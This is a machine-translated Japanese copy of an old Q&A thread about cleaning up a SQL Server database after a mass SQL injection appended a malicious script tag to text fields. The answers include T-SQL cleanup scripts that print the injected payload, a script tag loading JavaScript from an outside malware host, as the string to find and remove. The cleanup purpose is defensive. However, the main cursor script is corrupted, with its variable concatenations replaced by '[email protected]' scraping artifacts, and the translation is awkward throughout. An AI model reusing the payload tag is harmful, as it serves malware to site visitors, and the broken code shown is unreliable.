2008-08-28 16 views
8

私は最近、SQLインジェクション攻撃の被害を受けた非営利のウェブサイトのメンテナンスを任されています。誰かがサイト上のフォームを利用して、データベース(varchar、nvarcharなど)で使用可能なテキスト形式のフィールドにテキストを追加しました。このフィールドは、HTMLとしてレンダリングされたときにJavaScriptファイルをインクルードして実行します。SQLインジェクション後のクリーンアップの方法は何ですか?

URLをGoogleで検索すると、ルーマニアまたは中国を拠点とする電子メールスパム発信者から送信されたことが示されますが、これは現在重要なことではありません。

私は、サイト上で最も目に見えて人気​​のあるページでレンダリングされるテキストフィールドから情報を削除しましたが、他のテキストからテキストを削除する最良のプログラム的方法は何かについては興味がありますサイト上のフィールド。

明らかに、HTMLを保存するのではなく、マークダウンのようなものを使ってSQLインジェクションに対してサイトを強化する必要があります。私は本当に必要なものが良いものであるようにしています。プログラムに挿入されたテキストを削除する方法。私は正確なテキストが何であるかを知っています。毎回同じですが、いつもテキストフィールドの最後に追加されています。私はこの時点でデータベースのすべてのHTMLを取り除く余裕がないので、これがいつ正確に起こったのかわからないので、バックアップにロールバックできません。また、サイトは共有ホスティングにあり、SQL Serverツールを使用してデータベースに直接接続することはできません。私はそれに対してクエリを実行することができますので、 "データベース全体のすべてのテーブルにあるすべてのテキストフィールドを見つけて、それをクリーンアップする"というSQL更新文を作成する方法があれば、それはベスト。

答えて

5

最近のバックアップからデータを復元します。

0

これはまた、あなたのサイトがで実行されたユーザ名から離れSYSOBJECT許可を取るのが賢明だろう、それが逆になり、そして

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and 
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['[email protected]+'] where ['[email protected]+'] like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['[email protected]+'] set ['[email protected]+']=replace(['[email protected]+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['[email protected]+'] like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end') 
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

は、私はここしばらく前にこれについて書いたコースの入力をサニタイズする:Microsoft Has Released Tools To Address SQL Injection Attacks

1

他の人と同じ攻撃を受けたと仮定すると、SQLMenaceのコードは近いです。ただし、この攻撃ではさまざまなスクリプトURLが使用されるため、データベースに表示されているURLと一致するようにカスタマイズする必要があります。

I wrote about it as well私の解決コードには、より一般的なクリーンアップが含まれていました。

重要な点は、最初に行う必要があることは、がサイトを削除することです。現在、マルウェアをユーザーに積極的に提供しているため、後で法的措置を講じることができます。プレースホルダページを作成して、ユーザーが暗闇の中に放置されないようにしますが、マルウェアを引き続き処理しないようにします。その後、サイトを修正して、もはや注射に脆弱でないことを確認することができます。この特定の攻撃のためにを実行する最も簡単な方法は、Webユーザーのsysobjects/syscolumns権限を無効にするだけですが、クリーンアップをさらに進めたい場合や、クラックされるまで時間がかかる場合があります再び。次に、提供されたコードを使用してサイトをクリーンアップし、ライブに戻すことができます。

+0

「私は同様にそれについて書いた」リンク(http://jcoehoorn.vox.com/library/post/sql-injection-partをクリーンアップするためにそれを使用することができます-2.html)がウェブページにリダイレクトされ、「Voxが閉鎖されました。何年もの間Voxの愛とサポートに感謝します」 –

2

私は犠牲者だったとあなたは

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1) 
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0))) 
関連する問題